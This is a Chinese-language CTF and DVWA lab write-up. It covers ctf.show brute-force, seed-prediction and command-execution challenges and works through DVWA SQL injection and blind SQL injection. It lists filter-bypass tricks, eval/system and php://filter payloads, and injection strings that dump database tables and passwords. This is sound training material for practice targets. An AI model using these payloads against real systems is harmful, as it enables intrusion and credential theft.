爆破
web21
题目:爆破什么的,都是基操
我们尝试抓包
我们发现用户名和密码被加密,用burp自带解码工具解码
发现用户名和密码中间用冒号隔开
爆破成功
web22
题目:域名也可以爆破的,试试爆破这个ctf.show的子域名
页面失效,提交flag{ctf_show_web}
web23
题目:还爆破?这么多代码,告辞!
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
查看代码
token被md5加密后的传参需要满足以下条件
1.要第二位与第15位与第18位相同 (因为下标是从0开始) 2.第二位+第15位+第18位/第二位=第32位
我们利用现成脚本:
import hashlib
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
for j in a:
b = (str(i) + str(j)).encode("utf-8")
m = hashlib.md5(b).hexdigest()
if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
print('原字符串为:',b)
print('加密后字符串为:',m)
所以token=3j
传参token=3j 得到flag
web24
题目:爆个🔨
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BKeUWTUS-1644581548068)(https://gitee.com/nie-junyan/clodimage/raw/master/blog/20220211195249.png)]
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
PHP伪随机数种子
首先查看mt_srand()和mt_rand()函数
mt_rand() 是使用 Mersenne Twister 算法返回随机整数,与 rand() 函数的主要区别是:
mt_rand()产生随机数值的平均速度比 libc 提供的 rand()快四倍,并且播种函数使用mt_srand(),而不是srand()。
当随机数的种子是个确定值时(如本题),mt_rand()所得到的随机数也是确定的,所以运行后发现mt_rand()=1155388967,传参r=1155388967即可
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MIOPRJ4q-1644581548068)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204170042247.png)]
web25
题目:爆个🔨,不爆了
查看源码:
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}
由源码可以发现我们可以利用r=0得到mt_rand()的值
通过如下代码,我们知道要将两个随机数相加得token值
if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))
最终得出
r=183607393 token=794171094
传参得到flag
命令执行
命令执行常见做题方法:
- *或?代替文件名全拼
- 用其它的命令执行函数代替被过滤的函数
- 用已知参数传入另一个无限制参数,构造木马
- 编码绕过
- include 不用括号 分号可用?>代替
- cat替换
- 内部字段分隔符$IFS
- grep
- 通配符匹配
- 无字母数字的webshell
- $(( ))与整数运算
- 脚本
- 复制重命名绕过
- fopen
- 路径读取
- 文件高亮
- 文件包含
- exit()
- mysql load_file读取文件
- 命令接口
反引号``
1.反引号``即命令替换
2.是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出
单引号,双引号
1.适用条件:过滤了字符串
2.放在shell命令中,绕过正则匹配且不影响原意
空格绕过
1. \> < <> 重定向符
2. %09(需要php环境)
3. ${IFS} $IFS$9
4. {cat,flag.php} //用逗号实现了空格功能
5. %20
6. %09
读文件绕过(cat绕过)
适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
Linux通配符绕过
1. 适用条件:过滤了flag,没有过滤 ? *
2. 在linux系统中 有一些通配符
3. 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
4. ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
5. [abcd] 匹配abcd中任何一个字符
6. [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
include 和伪协议的配合
因为include包含php文件不会在页面显示出来 所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响
web29
题目:命令执行,需要严格的过滤
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match()函数:
preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0
if(!preg_match("/flag/i", $c)){
只过滤flag【不区分大小写】
方法一:
1.查看目录
?c=system('ls');
2.获取flag.php ,关键字flag过滤,使用通配符?
?c=system("cp fla?.php 1.txt");
cp命令将flag.php保存到1.txt 再去访问1.txt
方法二:
直接用
?c=echo `tac fl''ag.php`;
得到flag
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了flag,system,php,
system()函数
用于向操作系统传递控制台命令行,以WINDOWS系统为例,通过system()函数执行命令和在DOS窗口中执行命令的效果是一样的,所以只要在运行窗口中可以使用的命令都可以用SYSTEM()传递
用 ` ` 来代替system()
?c=`cp fla?.p?? 1.txt`;
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt
web31
查看源码
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
过滤的更多了,包括cat 空格
我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,
得到空白页面右击看源码才能得到flag
ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');
将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示
ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');
也可以将空白用%09替代
ctf.show/?c=echo`tac%09fl*`;
web32
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
反引号,分号,括号 都不能用
没有括号的话不能使用上一题的eval(),所以要用没有括号的函数 比如include
分号可以用?>代替
include函数传入的参数不能执行系统命令,只能使用php伪协议,通过特定的通道读取文件
/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
得到的是bsae64的数据,再去解码获得flag
【php://协议】
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
【file://协议】
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
web33
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
多过滤了一个"
使用上一题的方法一样可以出来,换一个函数用require,也是一样的
/?c=require$_GET[a]?>&a=php:
web34
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
多过滤了一个冒号,也不影响我们使用上面的方法
/?c=include$_GET[1]?>&1=php:
web35
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
多过滤了< =,与上题题解一样
web36
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
不能使用数字,将1用a代替即可,GET[a],里面可以不用单引号
/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
dvwa靶场
SQL Injection
(low)
SQL Injection ,即SQL 注入,SQLi ,是指攻击者通过注入恶意的SQL 命令,破坏SQL 查询语句的结构,从而达到执行恶意SQL 语句的目的。SQL 注入漏洞的危害巨大,常常会导致整个数据库被“脱裤”,如今SQL 注入仍是现在最常见的Web 漏洞之一。
SQL 注入分类:
按SQLMap 中的分类来看,SQL 注入类型有以下5 种:
1.UNION query SQL injection(可联合查询注入)
2.Stacked queries SQL injection(可多语句查询注入)
3.Boolean-based blind SQL injection(布尔型注入)
4.Error-based SQL injection(报错型注入)
5.Time-based blind SQL injection(基于时间延迟注入)
SQL 注入常规利用思路:
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
手工注入常规思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
查找这个表里面的数据库库名
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
由代码可知,通过REQUEST 方式接受传递的参数id ,再通过sql 语句带入查询,并未设置任何过滤,因此可以进行sql 注入利用。
注入测试语句举例:
1' or 1=1#
1 and 1=2'union select database(),2#
判断注入:
1 页面正常
1' 页面返回错误:报错“...use near ''1''' at line 1...”
1' or '1'='2 页面返回为空,查询失败
1' or '1'='1 页面正常,并返回更多信息,成功查询
判断存在的是字符型注入。
猜字段:
1' order by 2#
得到字段数为2
确定回显点:
1' union select 1,2#
猜数据库:
1' union select 1,database()#
查找当前数据库中的表
1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查找表users中的字段
1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
查找数据
1 ' union select group_concat(user),group_concat(password) from users #
(Medium)
这个级别我们可以看出,这是通过一个下拉表的方式提交数据的,
而且我们提交一个数据后发现URL如下:
所以不是get型注入,应该是把提交的数据存放到post数据中了
我们可以用hackbar试一下
添加post数据如下 点击exeute
得到返回的页面如下:
则我们就可以在这里添加注入语句了
添加post数据如下:
id=3 union select 1,database()#&Submit=Submit
获得当前数据库为dvwa
使用burp suite
但是我们执行这句话时却报错了:
id=2 union select1,table_name from information_schema.tables wheretable_name='dvwa'#&Submit=Submit
Low版本的就可以注入,中等的就不可以注入了,我们打开源码:
Medium SQL Injection Source
<?php
if( isset( $_POST[ 'Submit' ] ) ) {undefined
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string($id );
$query = "SELECT first_name,last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() .'</pre>' );
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {undefined
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result,$i, "last_name" );
echo "<pre>ID: {$id}<br />First name: {$first}<br/>Surname: {$last}</pre>";
$i++;
}
}
?>
发现有这样的一句话:
$id = mysql_real_escape_string($id );
mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:
\x00 \n \r \ ’ " \x1a
所以当我们注入时, 只要不用’就行
id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database())#&Submit=Submit
确定列数
id=1 order by 2不报错
id=1 order by 3报错
列数为2列
爆表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit
得到表名guestbook和users
爆列
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761
(0x7573657273是users的十六进制ascii码)
得到列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login、
最终得到数据:
(high)
我们看一下源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
窗口输入1’,按Submit,页面报错
窗口输入1’’,按Submit,正常显示结果
所以闭合是单引号,并且本关没有转义单引号
窗口输入1’ order by 3#,按Submit,报错
窗口输入1’ order by 2#,按Submit,返回正常结果
因此列数为2列
对比一下low级别的源码,可以发现high级别的sql语句只是在where语句的后面添加了一个LIMIT 1限定,令其只能输出一个结果。对于这种情况,我们只需在注入的时候加上#注释掉后面的LIMIT 1就可以了。其操作步骤就和LOW级别一样了。
SQL Injection (Blind)
SQL盲注简介
(1)SQL盲注
SQL Injection(Blind),即SQL盲注;
注入:可以查看到详细内容;
盲注:目标只会回复是或不是,没有详细内容;
(2)手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是d啊?”,通过这种机械的询问,最终获得你想要的数据。
(3)SQL盲注的类型
基于布尔值的盲注;
基于时间的盲注;
基于报错的盲注;
(4)SQL盲注的过程
1. 判断是否存在注入,注入是字符型还是数字型;
2. 猜解当前数据库名;
猜解数据库的长度;猜解数据库的名称;
3. 猜解数据库中的表名;
猜解库中有几个表;猜解表的长度;猜解表的名称;
4. 猜解表中的字段名;
猜解表中有几个字段;猜解字段的长度;猜解字段的名称;
5. 猜解数据;
(low)
查看源码:
<?phpif( isset( $_GET[ 'Submit' ] ) ) {
分析:
Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL漏洞;
同时SQL语句查询返回的结果只有两种:
User ID exists in the database;User ID is MISSING from the database;
基于布尔的盲注:
1.判断是否存在注入,注入是字符型还是数字型 输入1,显示相应用户存在:
输入1’ and 1=1 #,显示存在:
说明存在字符型的SQL盲注。
2.猜解当前数据库名 想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。 输入1’ and length(database())=1 #,显示不存在; 输入1’ and length(database())=2 #,显示不存在; 输入1’ and length(database())=3 #,显示不存在; 输入1’ and length(database())=4 #,显示存在:
说明数据库名长度为4。
采用二分法猜解数据库名。 输入
1’ and ascii(substr(databse(),1,1))>97 #
显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值); 输入
1’ and ascii(substr(databse(),1,1))<122 #
显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值); 输入
1’ and ascii(substr(databse(),1,1))<109 #
显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入
1’ and ascii(substr(databse(),1,1))<103 #
显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入
1’ and ascii(substr(databse(),1,1))<100 #
显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入
1’ and ascii(substr(databse(),1,1))>100 #
显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
1' and ascii(substr(database(),1,1))=100# //d
1' and ascii(substr(database(),2,1))=118# //v
1' and ascii(substr(database(),3,1))=119# //w
1' and ascii(substr(database(),4,1))=97# //a
最终获得库名:dvwa
猜解数据库中表的个数
输入
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
猜解数据库中表的长度**(guestbook——9,users——5)**
输入
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
输入
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#
猜解数据库中的表名(guestbook,users)
输入
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#
以此类推:guestbook中的k的表示为:
输入
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#
以此类推:users表中u如下表示:
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#
猜解users表中有几个字段
输入
1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#
猜解字段的长度(以user_id为例)
输入
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#
猜解字段的名称(以user_id中的u为例)
输入
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)# //u
猜解数据;
1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
//admin中的a;
(medium)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
$num = @mysqli_num_rows( $result );
if( $num > 0 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
根据源代码发现使用了post方法,且前端输入有限制
用burpsuit抓包
Submit=Submit&id=1 and 1 =1
1’and ‘1’ ='1
失败
猜解数据库长度
1 and length(database())=4 #
成功数据库为4位
猜解数据库名称 1 and ascii(substr(database(),1,1))>97 # 1 and ascii(substr(database(),1,1))=100 #
接下来的方法就和初级的一样,只需要把‘去掉就可以
(high)
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
$id = $_COOKIE[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
$num = @mysqli_num_rows( $result );
if( $num > 0 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1'or'1'='1
High Security Level的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。 虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,我们采用基于布尔的盲注(同low级别)
(impossible)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$id = $_GET[ 'id' ];
if(is_numeric( $id )) {
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
if( $data->rowCount() == 1 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
generateSessionToken();
?>
Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。
查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。 虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,我们采用基于布尔的盲注(同low级别)
[外链图片转存中…(img-Em81Rqnw-1644581548082)]
(impossible)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$id = $_GET[ 'id' ];
if(is_numeric( $id )) {
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
if( $data->rowCount() == 1 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
generateSessionToken();
?>
Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。
|